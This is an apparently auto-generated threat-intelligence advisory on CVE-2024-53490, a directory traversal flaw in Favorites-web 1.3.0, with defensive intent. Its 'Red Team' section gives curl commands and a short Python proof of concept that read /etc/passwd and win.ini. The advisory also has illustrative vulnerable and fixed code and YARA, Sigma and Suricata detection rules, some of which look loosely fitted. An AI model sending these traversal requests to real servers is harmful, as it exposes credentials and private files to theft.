CVE-2024-53490

Executive Summary

CVE-2024-53490 identifies a directory traversal vulnerability in Favorites-web version 1.3.0, specifically within the SecurityFilter.java file. This flaw allows an unauthenticated attacker to read arbitrary files on the server by manipulating path traversal sequences (e.g., ../) in HTTP requests. The vulnerability is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis. However, the public availability of proof-of-concept code increases the risk for unpatched instances.

Supply Chain & Package Security

Favorites-web is a Java-based web application. The vulnerability resides in the application’s own source code, not in a third-party package. However, organizations using this software should verify the integrity of their deployment artifacts and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, leading to unauthorized disclosure of sensitive files (e.g., configuration files, credentials, source code).

Deep Dive & Mechanics

The vulnerability exists in the SecurityFilter.java file, which is responsible for filtering incoming HTTP requests. The filter fails to properly sanitize user-supplied path parameters, allowing an attacker to traverse directories outside the web root.

Root Cause: The filter likely checks for certain patterns but does not normalize the path or block sequences like ../ or ..\. When a request such as GET /../etc/passwd is made, the filter passes the path to the file system handler, which resolves the traversal and serves the file.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request with path traversal sequences in the URL or request parameters. For example:

GET /../../../etc/passwd HTTP/1.1
Host: target.com

Impact: Successful exploitation allows reading arbitrary files on the server, including:

• Application configuration files (e.g., application.properties, web.xml)
• System files (e.g., /etc/passwd, /etc/shadow)
• Source code and database credentials

Vulnerable vs. Patched Code

Vulnerable Code (SecurityFilter.java):

public class SecurityFilter implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
        String path = ((HttpServletRequest) request).getRequestURI();
        // No validation for path traversal sequences
        chain.doFilter(request, response);
    }
}

Patched Code (Hypothetical Fix):

public class SecurityFilter implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
        String path = ((HttpServletRequest) request).getRequestURI();
        // Normalize and validate path
        path = new File(path).getCanonicalPath();
        if (path.startsWith(webRootPath)) {
            chain.doFilter(request, response);
        } else {
            ((HttpServletResponse) response).sendError(HttpServletResponse.SC_FORBIDDEN);
        }
    }
}

Key Difference: The patched version normalizes the path using getCanonicalPath() and checks that it stays within the web root directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Favorites-web 1.3.0
• Network access to the web server

Exploit Steps:

1. Identify the target’s web root (e.g., /var/www/favorites-web/).
2. Send a crafted request to read sensitive files:

   curl --path-as-is "http://target.com/../../../etc/passwd"
   

3. For Windows targets, use backslashes:

   curl --path-as-is "http://target.com/..\..\..\windows\win.ini"
   

Proof-of-Concept (Python):

import requests

target = "http://target.com"
payload = "/../../../etc/passwd"
url = target + payload
response = requests.get(url, verify=False)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP requests containing ../ or ..\ sequences.
• Alert on requests to paths outside the web root (e.g., /etc/, /proc/).

Hardening:

• Apply input validation to reject path traversal patterns.
• Use a Web Application Firewall (WAF) to block traversal attempts.
• Restrict file system permissions to limit what the web server can read.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with ../ or ..\ in the URI or parameters.
  • Requests to paths like /../../../etc/passwd, /../../../proc/self/environ.
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
• Log IOCs:
  • Web server logs showing GET /../../../etc/passwd with a 200 response.

Detection Engineering

YARA Rule

rule CVE_2024_53490_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting Favorites-web"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53490"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/proc/"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-53490 Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting Favorites-web
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53490 Directory Traversal Attempt"; flow:to_server; content:"../"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from untrusted networks.
2. Apply a virtual patch using a WAF to block path traversal patterns.
3. Restrict file system permissions so the web server process cannot read sensitive files.

Long-Term Fix:

• Since no official patch exists, consider:
  • Forking the repository and implementing input validation in SecurityFilter.java.
  • Migrating to an alternative, actively maintained solution.
• Monitor the vendor’s repository for any future updates.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.